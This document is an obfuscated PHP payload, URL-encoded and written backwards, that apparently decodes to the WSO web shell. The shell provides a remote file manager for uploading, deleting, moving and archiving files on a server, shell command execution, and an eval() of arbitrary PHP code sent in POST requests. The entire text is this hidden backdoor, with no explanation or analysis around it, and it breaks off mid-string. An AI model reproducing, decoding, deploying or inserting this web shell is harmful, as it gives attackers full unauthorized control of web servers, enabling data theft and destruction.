RES_%24%285dm%28eikooctesOSW%09%09%0D%0A%7B+%29%29%5D%27xaja%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%29%09%0D%0A%2C%27nelrts%27+%3E%3D+%27htgnel+gnirtS%27%09%09%0D%0A%2C%27srahclaicepslmth%27+%3E%3D+%27srahclaicepslmtH%27%09%09%0D%0A%2C%27reppuotrts%27+%3E%3D+%27esac+reppu+ot+gnirtS%27%09%09%0D%0A%2C%27rewolotrts%27+%3E%3D+%27esac+rewol+ot+gnirtS%27%09%09%0D%0A%2C%27cednib%27+%3E%3D+%27CED+ot+NIB%27%09%09%0D%0A%2C%27xehnib%27+%3E%3D+%27XEH+ot+NIB%27%09%09%0D%0A%2C%27nibced%27+%3E%3D+%27NIB+ot+CED%27%09%09%0D%0A%2C%27xehced%27+%3E%3D+%27XEH+ot+CED%27%09%09%0D%0A%2C%27nib2xeh%27+%3E%3D+%27NIB+ot+XEH%27%09%09%0D%0A%2C%27cedxeh%27+%3E%3D+%27CED+ot+XEH%27%09%09%0D%0A%2C%27iicsa2xeh%27+%3E%3D+%27IICSA+ot+XEH%27%09%09%0D%0A%2C%27xeh2iicsa%27+%3E%3D+%27XEH+ot+IICSA%27%09%09%0D%0A%2C%2723crc%27+%3E%3D+%2723CRC%27%09%09%0D%0A%2C%27tpyrc%27+%3E%3D+%27tpyrc%27%09%09%0D%0A%2C%271ahs%27+%3E%3D+%27hsah+1ahs%27%09%09%0D%0A%2C%275dm%27+%3E%3D+%27hsah+5dm%27%09%09%0D%0A%2C%27edocnelru_lluf%27+%3E%3D+%27edocnelru+lluF%27%09%09%0D%0A%2C%27edocedlru%27+%3E%3D+%27edoced+lrU%27%09%09%0D%0A%2C%27edocnelru%27+%3E%3D+%27edocne+lrU%27%09%09%0D%0A%2C%27edoced_46esab%27+%3E%3D+%27edoced+46esaB%27%09%09%0D%0A%2C%27edocne_46esab%27+%3E%3D+%27edocne+46esaB%27%09%09%0D%0A%28yarra+%3D+slooTgnirts%24%09%0D%0A%7D%7D%3B%29r%24%28reppuotrts+nruter%3B%29%29%5Di%24%5Bp%24%28dro%28xehced.%27%25%27+%3D.r%24%29i%24%2B%2B%3B%29p%24%28nelrts%3Ci%24%3B0%3Di%24%28rof%3B%27%27%3Dr%24%7B%29p%24%28edocnelru_lluf+noitcnuf%7B+%29%29%27edocnelru_lluf%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7D%7D%3B%29r%24%28reppuotrts+nruter%3B%29%29%5Di%24%5Bp%24%28dro%2C%27X20%25%27%28ftnirps+%3D.r%24%29i%24%2B%2B%3B%29p%24%28nelrts%3Ci%24%3B0%3Di%24%28rof%3B%27%27%3Dr%24%7B%29p%24%28xeh2iicsa+noitcnuf%7B+%29%29%27xeh2iicsa%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7D%7D%3Br%24+nruter%7D%3B%29%29%5D1%2Bi%24%5Bp%24.%5Di%24%5Bp%24%28cedxeh%28rhc%3D.r%24%7B%292%3D%2Bi%24%3B%29p%24%28neLrts%3Ci%24%3B0%3Di%24%28rof%3B%27%27%3Dr%24%7B%29p%24%28iicsa2xeh+noitcnuf%7B+%29%29%27iicsa2xeh%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7D%7D%3B%29%29p%24%28cednib%28xehced+nruter%7B+%29p%24%28xehnib+noitcnuf%7B+%29%29%27xehnib%27%28stsixe_noitcnuf%21%28fi++++%0D%0A%7D%7D%3B%29%29p%24%28cedxeh%28nibced+nruter%7B+%29p%24%28nib2xeh+noitcnuf%7B+%29%29%27nib2xeh%27%28stsixe_noitcnuf%21%28fi%09%0D%0A%7B+%29%28slooTgnirtSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%22%3Evid%2F%3C%3Eelbat%2F%3C%3Emrof%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E%27%3E%3E%27%3Deulav+%27timbus%27%3Depyt+tupni%3C%22+ohce++++%0D%0A%3B%22%3Bpsbn%26%3E%27%22+.+%29%27zg.rat%27%3A%27piz%27%3F%27piz%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28+.+%22.%22+.+%29%22siH_dmY%22%28etad+.+%22_osw%27%3Deulav+2p%3Deman+txet%3Depyt+tupni%3C+%3Aeman+elif%22+ohce++++++++%0D%0A%29%29%29%27rat%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28+%7C%7C+%29%27piz%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28%28+%26%26+%29%5D%27f%27%5BEIKOOC_%24%28tnuoc%40+%26%26+%29%5D%27tca%27%5BEIKOOC_%24%28ytpme%21%28fi++++%0D%0A%3B%22%3Bpsbn%26%3Etceles%2F%3C%22+ohce++++%0D%0A%3B%22%3Enoitpo%2F%3CsserpmoC+%2F+etsaP%3E%27etsap%27%3Deulav+noitpo%3C%22+ohce++++++++%0D%0A%29%29%5D%27f%27%5BEIKOOC_%24%28tnuoc%40+%26%26+%29%5D%27tca%27%5BEIKOOC_%24%28ytpme%21%28fi++++%0D%0A%3B%22%3Enoitpo%2F%3C%29zg.rat%28+sserpmoC%3E%27rat%27%3Deulav+noitpo%3C%22+ohce++++%0D%0A%3B%22%3Enoitpo%2F%3C%29piz%28+sserpmocnU%3E%27piznu%27%3Deulav+noitpo%3C%3Enoitpo%2F%3C%29piz%28+sserpmoC%3E%27piz%27%3Deulav+noitpo%3C%22+ohce++++++++%0D%0A%29%29%27evihcrApiZ%27%28stsixe_ssalc%28fi++++%0D%0A%3B%22%3Enoitpo%2F%3CeteleD%3E%27eteled%27%3Deulav+noitpo%3C%3Enoitpo%2F%3CevoM%3E%27evom%27%3Deulav+noitpo%3C%3Enoitpo%2F%3CypoC%3E%27ypoc%27%3Deulav+noitpo%3C%3E%271p%27%3Deman+tceles%3C%09%0D%0A%3E%27%22.%29%27%27%3A%5D%27tesrahc%27%5BTSOP_%24%3F%29%5D%27tesrahc%27%5BTSOP_%24%28tessi%28+.%22%27%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%09%0D%0A%3E%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.+%22%27%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%09%0D%0A%3E%27naMseliF%27%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%09%0D%0A%3E7%3Dnapsloc+dt%3C%3Ert%3C%22+ohce%09%0D%0A%7D%09%0D%0A%3B1%3A0%3Fl%24+%3D+l%24%09%09%0D%0A%3B%27%3Ert%2F%3C%3Edt%2F%3C%27.%29%27%27%3A%27%3Ea%2F%3CD%3E%22%29%27%5Cdaolnwod%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%3Ea%2F%3CE%3E%22%29%27%5Ctide%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%27%3F%29%27elif%27%3D%3D%5D%27epyt%27%5Bf%24%28%28.%27%3Ea%2F%3CT%3E%22%29%27%5Chcuot%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%3Ea%2F%3CR%3E%22%29%27%5Cemaner%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C%3Edt%3C%3Edt%2F%3C%27.%09%09%09%0D%0A%5D%27smrep%27%5Bf%24.%27%3E%22%29%27%5Cdomhc%27%5C%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%22%3Dkcilcno+%23%3Dferh+a%3C%3Edt%3C%3Edt%2F%3C%27.%5D%27puorg%27%5Bf%24.%27%2F%27.%5D%27renwo%27%5Bf%24.%27%3Edt%3C%3Edt%2F%3C%27.%5D%27yfidom%27%5Bf%24.%27%3Edt%3C%3Edt%2F%3C%27.%29%5D%27epyt%27%5Bf%24%3A%29%5D%27ezis%27%5Bf%24%28eziSweiVosw%3F%29%27elif%27%3D%3D%5D%27epyt%27%5Bf%24%28%28.%27%3Edt%3C%3Edt%2F%3C%3Ea%2F%3C%27.%29%27%3Eb%2F%3C%5D+%27+.+%29%5D%27eman%27%5Bf%24%28srahclaicepslmth+.+%27+%5B%3Eb%3C%3E%27+.+%29%22%27%7D%5D%27knil%27%5Bf%24%7B%27%3Deltit%22+%3A+%27%27+%3F+%29%5D%27knil%27%5Bf%24%28+ytpme%28+.+%27+%22%3B%29%27%5C%27.%5D%27htap%27%5Bf%24.%27%27%5C%2C%27%5CnaMseliF%27%5C%28g%27%3A%29%5D%27eman%27%5Bf%24%28srahclaicepslmth.%27%3E%22%29%27%5Cweiv%27%5C+%2C%27%5C%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%27%5C%2Cllun%2C%27%5CslooTseliF%27%5C%28g%27%3F%29%27elif%27%3D%3D%5D%27epyt%27%5Bf%24%28%28.%27%22%3Dkcilcno+%23%3Dferh+a%3C%3Edt%3C%3Edt%2F%3C%3Exbkhc%3Dssalc+%22%27.%29%5D%27eman%27%5Bf%24%28edocnelru.%27%22%3Deulav+%22%5D%5Bf%22%3Deman+xobkcehc%3Depyt+tupni%3C%3Edt%3C%3E%27.%29%27%27%3A%271l%3Dssalc+%27%3Fl%24%28.%27rt%3C%27+ohce%09%09%0D%0A%7B+%29f%24+sa+selif%24%28hcaerof%09%0D%0A%3B0+%3D+l%24%09%0D%0A%3B%29selif%24+%2Csrid%24%28egrem_yarra+%3D+selif%24%09%0D%0A%3B%29%22pmCosw%22+%2Csrid%24%28trosu%09%0D%0A%3B%29%22pmCosw%22+%2Cselif%24%28trosu%09%0D%0A%7D%09%0D%0A%3B%291-%3A1%3F%5D1%5B%5D%27tros%27%5BSLABOLG%24%28%2A%291+%3A+1-+%3F+%29%5D%27ezis%27%5Bb%24+%3C+%5D%27ezis%27%5Ba%24%28%28+nruter%09%09%09%0D%0Aesle%09%09%0D%0A%3B%291-%3A1%3F%5D1%5B%5D%27tros%27%5BSLABOLG%24%28%2A%29%29%5D%5D0%5B%5D%27tros%27%5BSLABOLG%24%5Bb%24%28rewolotrts+%2C%29%5D%5D0%5B%5D%27tros%27%5BSLABOLG%24%5Ba%24%28rewolotrts%28pmcrts+nruter%09%09%09%0D%0A%29%27ezis%27+%3D%21+%5D0%5B%5D%27tros%27%5BSLABOLG%24%28fi%09%09%0D%0A%7B+%29b%24+%2Ca%24%28pmCosw+noitcnuf%09%0D%0A%3Btros%24+%3D+%5D%27tros%27%5BSLABOLG%24%09%0D%0A%7D%09%0D%0A%3B%29%29%27rid%27+%3E%3D+%27epyt%27%28yarra+%2Cpmt%24%28egrem_yarra+%3D+%5D%5Bsrid%24%09%09%09%0D%0A%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28rid_si%40%28fiesle%09%09%0D%0A%3B%29%29%29%5D%27htap%27%5Bpmt%24%28knildaer+%3E%3D+%27knil%27+%2C%27knil%27+%3E%3D+%27epyt%27%28yarra+%2Cpmt%24%28egrem_yarra+%3D+%5D%5Bsrid%24%09%09%09%0D%0A%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28knil_si%40%28fiesle%09%09%0D%0A%3B%29%29%27elif%27+%3E%3D+%27epyt%27%28yarra+%2Cpmt%24%28egrem_yarra+%3D+%5D%5Bselif%24%09%09%09%0D%0A%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28elif_si%40%28fi%09%09%0D%0A%3B%29%09%09%09%09%09%0D%0A%29%5Di%24%5BtnetnoCrid%24%28puorgelif%40%3A%5D%27eman%27%5Brg%24%3F%5D%27eman%27%5Brg%24+%3E%3D+%27puorg%27+%09%09%09%09%09%0D%0A%2C%29%5Di%24%5BtnetnoCrid%24%28renwoelif%40%3A%5D%27eman%27%5Bwo%24%3F%5D%27eman%27%5Bwo%24+%3E%3D+%27renwo%27+%09%09%09%09%09%0D%0A%2C%29%5Di%24%5BtnetnoCrid%24.%5D%27dwc%27%5BSLABOLG%24%28eziselif%40+%3E%3D+%27ezis%27+%09%09%09%09%09%0D%0A%2C%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28roloCsmrePosw+%3E%3D+%27smrep%27+%09%09%09%09%09%0D%0A%2C%29%29%5Di%24%5BtnetnoCrid%24+.+%5D%27dwc%27%5BSLABOLG%24%28emitmelif%40+%2C%27s%3Ai%3AH+d-m-Y%27%28etad+%3E%3D+%27yfidom%27+%09%09%09%09%09%0D%0A%2C%5Di%24%5BtnetnoCrid%24.%5D%27dwc%27%5BSLABOLG%24+%3E%3D+%27htap%27+%09%09%09%09%09%0D%0A%2C%5Di%24%5BtnetnoCrid%24+%3E%3D+%27eman%27%28yarra+%3D+pmt%24%09%09%0D%0A%3B%29%29%5Di%24%5BtnetnoCrid%24%28puorgelif%40%28digrgteg_xisop%40+%3D+rg%24%09%09%0D%0A%3B%29%29%5Di%24%5BtnetnoCrid%24%28renwoelif%40%28diuwpteg_xisop%40+%3D+wo%24%09%09%0D%0A%7B+%29%2B%2Bi%24%3Bn%24%3Ci%24%3B0%3Di%24%28rof%09%0D%0A%3B%29tnetnoCrid%24%28tnuoc+%3D+n%24%09%0D%0A%3B%29%28yarra+%3D+selif%24+%3D+srid%24%09%0D%0A%3B%22%3Ert%2F%3C%3Eht%2F%3CsnoitcA%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CsnoissimreP%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_smrep_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3CpuorG%2FrenwO%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CyfidoM%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_yfidom_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CeziS%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_ezis_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3C%3Ea%2F%3CemaN%3E%27%29%22%5C%22.%291%3A0%3F%5D1%5Btros%24%28.%22_eman_s%22%5C%2Cllun%2C%22%5CnaMseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C%3Eht%3C%3Eht%2F%3C%3Exbkhc%3Dssalc+%27%29%28as%27%3Dkcilcno+xobkcehc%3Depyt+tupni%3C%3E%27xp31%27%3Dhtdiw+ht%3C%3Ert%3C%3Etsop%3Ddohtem+selif%3Deman+mrof%3C%0D%0A%3E%272%27%3Dgniddapllec+%270%27%3Dgnicapsllec+%27niam%27%3Dssalc+%27%25001%27%3Dhtdiw+elbat%3C%0D%0A%3Etpircs%2F%3C%0D%0A%7D%09%0D%0A%3Bdekcehc.%5D0%5Bstnemele.selif.d+%3D+dekcehc.%5Di%5Bstnemele.selif.d%09%09%09%09%0D%0A%29%27xobkcehc%27+%3D%3D+epyt.%5Di%5Bstnemele.selif.d%28fi%09%09%09%0D%0A%29%2B%2Bi%3Bhtgnel.stnemele.selif.d%3Ci%3B0%3Di%28rof%09%09%0D%0A%7B+%29%28as+noitcnuf%09%0D%0A%3Etpircs%3C%22+ohce%0D%0A%7D%09%0D%0A%3B%29%5D2%5Bhctam%24%29tni%28+%2C%5D1%5Bhctam%24%28yarra+%3D+tros%24%09%09%09%0D%0A%29%29hctam%24+%2C%5D%271p%27%5BTSOP_%24+%2C%27%21%29%7D1%7Bd%5C%28_%29%2B%5Dz-A%5B%28_s%21%27%28hctam_gerp%28fi%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%291+%2C%27eman%27%28yarra+%3D+tros%24%09%0D%0A%3Btros%24+labolg%09%0D%0A%7D+%3Bnruter+%3B%29%28retooFosw%3B%27%21redlof+siht+nepo+t%27%5CnaC%27+ohce%09%7B+%29eslaf+%3D%3D%3D+tnetnoCrid%24%28fi%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%3A%5D%27c%27%5BTSOP_%24%3F%29%5D%27c%27%5BTSOP_%24%28tessi%28ridnacSosw+%3D+tnetnoCrid%24%09%0D%0A%3B%27%3Etpircs%2F%3C%3B%22%22%3D_3p%3D_2p%3D_1p%3Etpircs%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Creganam+eliF%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw++++%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29%5D%27c%27%5BTSOP_%24%40+%2C%27c%27%28eikooctesOSW%09%09%09%09%09%0D%0A%3B%29%29%5D%27f%27%5BTSOP_%24%40%28ezilaires+%2C%27f%27%28eikooctesOSW%09%09%09%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24+%2C%27tca%27%28eikooctesOSW%09%09%09%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi++++++++++++++++%0D%0A%3Atluafed%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%290063+-+%29%28emit+%2C%27%27+%2C%27f%27%28eikooctes++++++++++++++++%0D%0A%3B%29%5D%27f%27%5BEIKOOC_%24%28tesnu%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ridhc++++++++++++++++++++%0D%0A%3B%29%29%5D%27f%27%5BEIKOOC_%24+%2C%27+%27%28edolpmi+.+%27+%27+.+%29%5D%272p%27%5BTSOP_%24%28grallehsepacse+.+%27+vzfc+rat%27%28xEosw++++++++++++++++++++%0D%0A%3B%29%5D%27f%27%5BEIKOOC_%24+%2C%27grallehsepacse%27%28pam_yarra+%3D+%5D%27f%27%5BEIKOOC_%24++++++++++++++++++++%0D%0A%3B%29%5D%27c%27%5BEIKOOC_%24%28ridhc++++++++++++++++++++%0D%0A%7B+%29%27rat%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%7D++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++%0D%0A%3B%29%28esolc%3E-piz%24++++++++++++++++++++++++++++++++%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28oTtcartxe%3E-piz%24++++++++++++++++++++++++++++++++%0D%0A%7B+%29%29f%24.%5D%27c%27%5BEIKOOC_%24%28nepo%3E-piz%24%28fi++++++++++++++++++++++++++++%0D%0A%7B+%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof++++++++++++++++++++++++%0D%0A%3B%29%28evihcrApiZ+wen+%3D+piz%24++++++++++++++++++++++++%0D%0A%7B+%29%29%27evihcrApiZ%27%28stsixe_ssalc%28fi%09%09%09%09%09%0D%0A%7B+%29%27piznu%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%7D++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++%0D%0A%3B%29%28esolc%3E-piz%24++++++++++++++++++++++++++++%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24%28ridhc++++++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++++++%0D%0A%7D++++++++++++++++++++++++++++++++++++%0D%0A%3B%29yek%24+%2C%29yek%24%28htaplaer%28eliFdda%3E-piz%24++++++++++++++++++++++++++++++++++++++++%0D%0A%7B+%29eulav%24%3E%3Dyek%24+sa+rotareti%24%28+hcaerof++++++++++++++++++++++++++++++++++++%0D%0A%3B%29%29STOD_PIKS%3A%3ArotaretImetsyseliF+%2C%27%2F%27.f%24%28rotaretIyrotceriDevisruceR+wen%28rotaretIrotaretIevisruceR+wen+%3D+rotareti%24++++++++++++++++++++++++++++++++++++%0D%0A%7B+%29%29f%24.%5D%27c%27%5BEIKOOC_%24%28rid_si%40%28fiesle++++++++++++++++++++++++++++++++%0D%0A%3B%29f%24+%2Cf%24.%5D%27c%27%5BEIKOOC_%24%28eliFdda%3E-piz%24++++++++++++++++++++++++++++++++++++%0D%0A%29%29f%24.%5D%27c%27%5BEIKOOC_%24%28elif_si%40%28fi++++++++++++++++++++++++++++++++%0D%0A%3Beunitnoc++++++++++++++++++++++++++++++++++++%0D%0A%29%27..%27+%3D%3D+f%24%28fi++++++++++++++++++++++++++++++++%0D%0A%7B+%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof++++++++++++++++++++++++++++%0D%0A%3B%29%5D%27c%27%5BEIKOOC_%24%28ridhc++++++++++++++++++++++++++++%0D%0A%7B+%29%291+%2C%5D%272p%27%5BTSOP_%24%28nepo%3E-piz%24%28+fi++++++++++++++++++++++++%0D%0A%3B%29%28evihcrApiZ+wen+%3D+piz%24++++++++++++++++++++++++%0D%0A%7B+%29%29%27evihcrApiZ%27%28stsixe_ssalc%28fi%09%09%09%09%09%0D%0A%7B+%29%27piz%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%3B%29f%24.%5D%27dwc%27%5BSLABOLG%24+%2Cf%24.%5D%27c%27%5BEIKOOC_%24%28emaner%40%09%09%09%09%09%09%0D%0A%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29s%24.d%24+%2Cs%24.c%24%28ypoc%40%09%09%09%09%09%09%09%0D%0A%29%29s%24.c%24%28elif_si%40%28fiesle+%7D%09%09%09%09%09%09%0D%0A%3B%29%27%2F%27.s%24.d%24+%2Cf%24%2C%27%2F%27.s%24.c%24%28etsap_ypoc%09%09%09%09%09%09%09%09%09%0D%0A%29%29%22..%22+%3D%21+f%24%28+dna+%29%22.%22+%3D%21+f%24%28%28+fi%09%09%09%09%09%09%09%09%0D%0A%29eslaf+%3D%3D%21+%29%29h%24%28riddaer%40+%3D+f%24%28%28+elihw%09%09%09%09%09%09%09%0D%0A%3B%29s%24.c%24%28ridnepo%40+%3D+h%24%09%09%09%09%09%09%09%0D%0A%3B%29s%24.d%24%28ridkm%09%09%09%09%09%09%09%0D%0A%7B%29%29s%24.c%24%28rid_si%28fi%09%09%09%09%09%09%0D%0A%7B%29d%24%2Cs%24%2Cc%24%28etsap_evom+noitcnuf%09%09%09%09%09%0D%0A%7B+%29%27evom%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fiesle+%7D%09%09%09%09%0D%0A%3B%29%5D%27dwc%27%5BSLABOLG%24+%2Cf%24%2C%5D%27c%27%5BEIKOOC_%24%28etsap_ypoc%09%09%09%09%09%09%0D%0A%29f%24+sa+%5D%27f%27%5BEIKOOC_%24%28hcaerof%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29s%24.d%24+%2Cs%24.c%24%28ypoc%40%09%09%09%09%09%09%09%0D%0A%29%29s%24.c%24%28elif_si%28fiesle+%7D%09%09%09%09%09%09%0D%0A%3B%29%27%2F%27.s%24.d%24+%2Cf%24%2C%27%2F%27.s%24.c%24%28etsap_ypoc%09%09%09%09%09%09%09%09%09%0D%0A%29%29%22..%22+%3D%21+f%24%28+dna+%29%22.%22+%3D%21+f%24%28%28+fi%09%09%09%09%09%09%09%09%0D%0A%29eslaf+%3D%3D%21+%29%29h%24%28riddaer%40+%3D+f%24%28%28+elihw%09%09%09%09%09%09%09%0D%0A%3B%29s%24.c%24%28ridnepo%40+%3D+h%24%09%09%09%09%09%09%09%0D%0A%3B%29s%24.d%24%28ridkm%09%09%09%09%09%09%09%0D%0A%7B%29%29s%24.c%24%28rid_si%28fi%09%09%09%09%09%09%0D%0A%7B%29d%24%2Cs%24%2Cc%24%28etsap_ypoc+noitcnuf%09%09%09%09%09%0D%0A%7B+%29%27ypoc%27+%3D%3D+%5D%27tca%27%5BEIKOOC_%24%28fi%09%09%09%09%0D%0A%3A%27etsap%27+esac%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29f%24%28knilnu%40%09%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%09%0D%0A%3B%29f%24%28riDeteled%09%09%09%09%09%09%09%0D%0A%29%29f%24%28rid_si%28fi%09%09%09%09%09%09%0D%0A%3B%29f%24%28edocedlru+%3D+f%24%09%09%09%09%09%09%0D%0A%3Beunitnoc++++++++++++++++++++++++++++%0D%0A%29%27..%27+%3D%3D+f%24%28fi++++++++++++++++++++++++%0D%0A%7B+%29f%24+sa+%5D%27f%27%5BTSOP_%24%28hcaerof%09%09%09%09%09%0D%0A%29%29%5D%27f%27%5BTSOP_%24%40%28yarra_si%28fi%09%09%09%09%0D%0A%7D%09%09%09%09%0D%0A%3B%29htap%24%28ridmr%40%09%09%09%09%09%0D%0A%3B%29hd%24%28ridesolc%09%09%09%09%09%0D%0A%7D%09%09%09%09%09%0D%0A%3B%29meti%24%28knilnu%40%09%09%09%09%09%09%09%0D%0Aesle%09%09%09%09%09%09%0D%0A%3B%29meti%24%28riDeteled%09%09%09%09%09%09%09%0D%0A%29%22rid%22+%3D%3D+epyt%24%28+fi%09%09%09%09%09%09%0D%0A%3B%29meti%24%28epytelif+%3D+epyt%24%09%09%09%09%09%09%0D%0A%3Beunitnoc%09%09%09%09%09%09%09%0D%0A%29+%29%22.%22+%3D%3D+%29meti%24%28emanesab%28+%7C%7C+%29%22..%22+%3D%3D+%29meti%24%28emanesab%28+%28+fi%09%09%09%09%09%09%0D%0A%3Bmeti%24.htap%24+%3D+meti%24%09%09%09%09%09%09%0D%0A%7B+%29eslaf+%3D%3D%21+%29+%29hd%24%28riddaer+%3D+meti%24%28+%28+elihw%09%09%09%09%09%0D%0A%3B%29htap%24%28ridnepo+%3D++hd%24%09%09%09%09%09%0D%0A%3B%27%2F%27.htap%24%3Ahtap%24+%3F+%29%27%2F%27%3D%3D%291-%2Chtap%24%28rtsbus%28+%3D+htap%24%09%09%09%09%09%0D%0A%7B+%29htap%24%28riDeteled+noitcnuf%09%09%09%09%0D%0A%3A%27eteled%27+esac%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%22rid+wen+etaerc+t%27naC%22+ohce%09%09%09%09%09%0D%0A%29%29%5D%272p%27%5BTSOP_%24%28ridkm%40%21%28fi%09%09%09%09%0D%0A%3A%27ridkm%27+esac%09%09%09%0D%0A%3Bkaerb%09%09%09%09%0D%0A%3B%22%21elif+daolpu+t%27naC%22+ohce%09%09%09%09%09%0D%0A%29%29%5D%27eman%27%5B%5D%27f%27%5BSELIF_%24+%2C%5D%27eman_pmt%27%5B%5D%27f%27%5BSELIF_%24%28elif_dedaolpu_evom%40%21%28fi%09%09%09%09%0D%0A%3A%27eliFdaolpu%27+esac%09%09%09%0D%0A%7B+%29%5D%271p%27%5BTSOP_%24%28hctiws%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A++++%0D%0A%3B%29%5D%27f%27%5BEIKOOC_%24%28ezilairesnu%40+%3D+%5D%27f%27%5BEIKOOC_%24++++++++%0D%0A%29%29%5D%27f%27%5BEIKOOC_%24%28+ytpme%21%28+fi++++%0D%0A%7B+%29%28naMseliFnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%3Eerp%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%28naelc_teg_bo%28srahclaicepslmth+ohce%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28lave%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%7B+%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28fi%09%0D%0A%3B%27%3E1lm%3Dssalc+%22%3Bxp5%3Apot-nigram%27.%29%27%27%3A%27%3Benon%3Ayalpsid%27%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%28.%27%22%3Delyts+tuptuOphP%3Ddi+erp%3C%3Emrof%2F%3CXAJA+gnisu+dnes+%3E+1%3Deulav+xaja%3Deman+xobkcehc%3Depyt+tupni%3C+%27+ohce%09%0D%0A%3B%27%3E%22xp5%3Apot-nigram%22%3Delyts+lavE%3Deulav+timbus%3Depyt+tupni%3C%3Eaeratxet%2F%3C%27.%29%27%27%3A%29%5D%271p%27%5BTSOP_%24%28srahclaicepslmth%3F%29%5D%271p%27%5BTSOP_%24%28ytpme%21%28.%27%3EedoCphP%3Ddi+aeragib%3Dssalc+edoc%3Deman+aeratxet%3C%3E%22%3Beslaf+nruter%7D%3B%29%27%5C%27%5C%2Ceulav.edoc.siht%2Cllun%2C%27%5CphP%27%5C%28g%7Besle%7D%3B%29eulav.edoc.siht%